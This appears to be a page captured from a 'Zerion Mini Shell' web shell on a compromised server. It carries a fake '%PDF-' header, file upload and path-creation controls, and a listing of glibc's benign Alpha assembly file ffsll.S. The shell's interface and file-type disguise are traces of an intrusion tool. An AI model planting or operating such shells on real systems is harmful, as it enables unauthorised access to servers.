%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/25810/root/glibc-2.29/sysdeps/alpha/alphaev67/
Upload File :
Create Path :
Current File : //proc/25810/root/glibc-2.29/sysdeps/alpha/alphaev67/ffsll.S

/* Copyright (C) 2000-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library.  If not, see
   <http://www.gnu.org/licenses/>.  */

/* Finds the first bit set in a long.  */

#include <sysdep.h>

	.arch ev6
	.set noreorder
	.set noat

ENTRY(ffsl)
#ifdef PROF
	ldgp	gp, 0(pv)
	lda	AT, _mcount
	jsr	AT, (AT), _mcount
	.prologue 1
#else
	.prologue 0
#endif

	cttz	$16, $0
	addq	$0, 1, $0
	cmoveq	$16, 0, $0
	ret

END(ffsl)

weak_extern (ffsl)
weak_alias (ffsl, ffsll)

Zerion Mini Shell 1.0